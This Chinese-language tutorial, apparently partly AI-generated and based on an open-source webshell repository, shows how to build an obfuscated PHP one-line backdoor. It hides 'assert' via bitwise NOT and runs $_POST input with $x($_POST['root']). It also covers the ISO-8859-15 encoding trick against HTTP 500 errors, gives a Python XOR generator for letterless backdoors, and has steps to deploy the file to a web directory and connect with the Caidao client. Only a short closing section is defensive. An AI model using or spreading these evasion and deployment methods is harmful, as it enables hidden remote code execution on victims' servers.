PHP 按位取反~运算创建免杀后门原理、编码陷阱与源码级复现【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell导读本文基于仓库 php/php-xor.md原文作者 Evi1m0FF0000 TEAM创建于 2014-02-04展开系统讲解 PHP 中利用按位取反运算符~构造乱码型一句话后门的原理、编码陷阱与实战复现方法。你将掌握~位运算与字符编码ISO-8859-15之间的换算关系、为什么乱码字符串能被还原为assert等函数名、以及遇到 HTTP 500 时如何从编码角度修复后门。文章同时结合仓库中的 Python 生成脚本与多份同类样本给出可直接运行的构造与校验示例。本文涉及的技术仅用于安全研究与防御对抗分析请勿用于未授权系统。1. 背景一段能输出 1337 的乱码2014 年前后Twitter 上有研究者爆出一个有趣现象一段看起来完全是乱码的字符串通过 PHP 执行后却能正常输出1337。仓库中 php/php-xor.md 记录的正是对这种现象的分析与重现过程——它很快被安全研究者联想到绕过 WAF/防火墙的后门实现思路。该乱码并非随机字节而是 PHP按位取反运算的结果对一段正常的 PHP 源码如assert、$_POST等 ASCII 字符逐字节执行~运算后会得到一串人眼不可读的高字节字符反过来再对乱码取一次反即可还原出原始 ASCII 内容。这正是后门得以隐藏的关键关键函数名与字符串以非 ASCII 形态出现在源码中绕过基于字符串特征的正则检测。2. PHP 的~按位取反运算符2.1 运算规则PHP 官方手册对位运算符的说明原文档引用可参见 PHP 手册语言参考 → 运算符 → 位运算符章节运算符名称行为~ $aNot按位取反将$a中为 0 的位设为 1反之亦然即对操作数的每个二进制位取反0 → 11 → 0。由于 PHP 整数通常按 32 位有符号处理对单字节 ASCII 字符如a01100001取反会得到11111111111111111111111110011110按 32 位展开其低 8 位为100111100x9E是一个不可打印的高字节字符。2.2 PHP 自身的典型应用error_reporting原文档指出PHP 的error_reportingini 设定本身就是按位值的经典应用。要显示除了提示E_NOTICE级别之外的所有错误php.ini 中写成error_reporting E_ALL ~E_NOTICE其运作过程32 位视角E_ALL的值00000000000000000111011111111111E_NOTICE的值00000000000000000000000000001000~E_NOTICE取反11111111111111111111111111110111再与E_ALL做按位与得到两个值中都为 1 的位00000000000000000111011111110111这一示例说明~在 PHP 中广泛用于关闭特定位的位掩码操作也是理解后门构造中取反 → 还原闭环的基础。3. 分析并重现从乱码到一句话后门3.1 直接 echo 乱码原文档作者在测试中发现直接执行echo ~1;一类表达式会原样输出一串乱码。也就是说对普通字符串按位取反后产生的是肉眼不可读的字符序列——这为隐藏关键字符串提供了天然掩护。3.2 最原始的实现样本原文档给出了当时最原始的代码实现效果对应仓库中 php/php-xor.php.md 的完整样本?php $x~¬¬º«;$x($_POST[root]); ?其思路是将assert按位取反得到变量值赋给$x再执行$x($_POST[root])即等价于assert($_POST[root])。因为取反是可逆的——乱码再取一次反即可恢复原始字符串。3.3 写成一句话后门原文档给出了更完整的复现代码?php $x~¬¬º«; // 这里定义 $x 变量为 ASSERT按位取反后的乱码形态 $x($_POST[root]); // 密码/参数为 root直接链接后门 ?要点说明$x~乱码;中乱码实际上是~assert的结果执行到这一行时 PHP 先对乱码字符串逐字节取反得到字符串assert。随后$x(...)即调用assert(...)参数来自$_POST[root]实现远程代码执行。密码为root原文档示例中使用 FF0000 作为密码的变体同样成立配合中国菜刀Caidao等客户端即可链接。3.4 从源码视角理解可逆性仓库中存在多份同类取反/异或样本可相互印证例如 php/2022-08-26-03.php?php $_GET[p]_$_GETf;以及 php/ghost_source.php 等文件中的变种。从源码结构看这类后门的通用骨架为混淆目标把assert、eval、system等关键函数名与字符串常量替换为按位运算后的乱码运行时还原PHP 解释器在执行~乱码时完成取反运算得到真实函数名动态调用通过$x($_POST[...])的变量函数形式完成调用避免直接出现敏感函数名字面量。4. 编码问题与免杀HTTP 500 的根源4.1 乱码的真实编码ISO-8859-15原文档强调直接复制乱码样本后访问HTTP 状态码往往是500根源在于编码问题。上面这类乱码实际属于**西欧ISO-8859-15**编码。若文件以默认编码如 GBK、UTF-8保存取反得到的高字节字符会被错误解码导致语法错误或函数名还原失败从而 500。因此实操铁律是必须将后门文件保存为 ISO-8859-15或 ISO-8859-1/Latin-1 等兼容西欧单字节编码编码GBK、UTF-8 等编码均不能成功使用原文档原话GBK\UTF8...均不能成功使用若默认编码无法识别该乱码手动将编码方式切换为上述西欧编码即可修复。4.2 编码问题与免杀从免杀角度看乱码型后门之所以有效是因为关键字符串函数名、参数名以非 ASCII 高字节字符形式存在绕过了大量基于assert(、eval(等字符串特征的静态检测取反运算本身是运行时行为检测方需要具备解码 二次取反还原的能力才能识别同样地编码一旦保存错误后门直接 500 不可用说明这类后门对文件编码敏感部署时需格外注意保存格式。5. 配套生成脚本与同类样本5.1 Python 一键生成脚本原文档末尾提到作者写了一个在线生成脚本Createbackdoor.php?pwdpassword。仓库中另有一份独立实现的 Python 生成器 php/create_code_with_xor.py其核心逻辑是遍历 ASCII 可打印字符枚举两两异或组合输出目标字母 字符A ^ 字符B的映射表用于构造异或型而非单纯取反型无字母数字后门keys list(range(65)) list(range(91, 97)) list(range(123, 127)) for i in keys: for j in keys: asscii_number i ^ j if (asscii_number 65 and asscii_number 90) or (asscii_number 97 and asscii_number 122): # 输出目标字母 ascii:i ^ ascii:j URL编码i ^ URL编码j该脚本的运行逻辑可以概括为收集控制字符0–64、标点91–96、123–126等非字母字符作为操作数计算两两^异或若结果为字母A–Z / a–z则记录该映射输出形如a %XX ^ %YY的映射供手工拼装无字母数字的 PHP 后门。虽然create_code_with_xor.py针对的是**异或^变体但它与本文的取反~**变体同属位运算免杀家族二者配合使用可以进一步丰富混淆手段异或需要两个操作数可互相抵消取反只需要一个操作数自反可逆实战中可结合 WAF 规则灵活选用。5.2 仓库中的同类样本仓库 php/ 目录下还收录了其他位运算 / 混淆型后门样本例如php/ghost_source.php包含异或运算的免杀样本及其源码php/2022-08-26-03.php基于变量函数的精简样本php/webshell免杀-提升兼容性.html讲解免杀后门与 PHP 兼容性提升的文档php/php-xor.php.md本文档对应的纯样本文件编码为 ISO-8859-15 的乱码后门。6. 实战校验步骤可复制执行以下步骤基于原文档描述整理可在本地 PHP 环境php -l 语法检查 / php-cli中验证原理构造还原在终端执行php -r echo ~assert;观察输出是否为不可打印乱码再执行php -r var_dump(~乱码);将上一步输出粘贴进来确认能还原出assert。验证后门将$x~乱码;$x($_POST[root]);保存为ISO-8859-15编码的.php文件用php -l检查无语法错误后部署到 Web 目录使用菜刀客户端以密码root连接。编码对照将同一文件另存为 UTF-8 后访问观察是否出现 HTTP 500以此印证编码决定成败的结论。自行生成运行 php/create_code_with_xor.pypython3 php/create_code_with_xor.py查看异或映射表输出理解位运算混淆的构造方式。7. 总结与防御视角原理~按位取反是自反运算~乱码 原字符串由此可将assert、$_POST等关键串以高字节乱码形态藏入源码编码乱码样本必须保存为ISO-8859-15等西欧单字节编码否则 PHP 500免杀位运算取反~/ 异或^是无字母数字后门的重要构造手段仓库中的 Python 生成脚本提供了异或映射表生成能力检测对防御方而言应关注文件编码异常非 UTF-8 的西欧编码 PHP 文件、变量函数动态调用模式以及高字节字符集中的可疑字符串必要时对源码进行逐字节取反/异或还原后的特征匹配。以上内容均以仓库 php/php-xor.md 及其样本 php/php-xor.php.md 为事实依据结合 php/create_code_with_xor.py 等源码展开未包含未经仓库证据支持的外部信息。【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考